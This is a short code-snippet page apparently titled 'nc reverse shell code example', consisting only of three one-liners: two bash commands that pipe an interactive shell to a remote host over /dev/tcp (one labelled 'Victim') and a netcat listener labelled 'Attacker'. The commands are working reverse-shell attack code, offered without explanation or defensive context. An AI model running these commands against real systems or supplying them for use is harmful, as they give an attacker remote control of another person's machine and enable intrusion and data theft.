nc reverse shell code example
Example 1: reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Example 2: how to reverse shell
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim
Example 3: how to reverse shell
nc -l -p 9000 -vvv # Attacker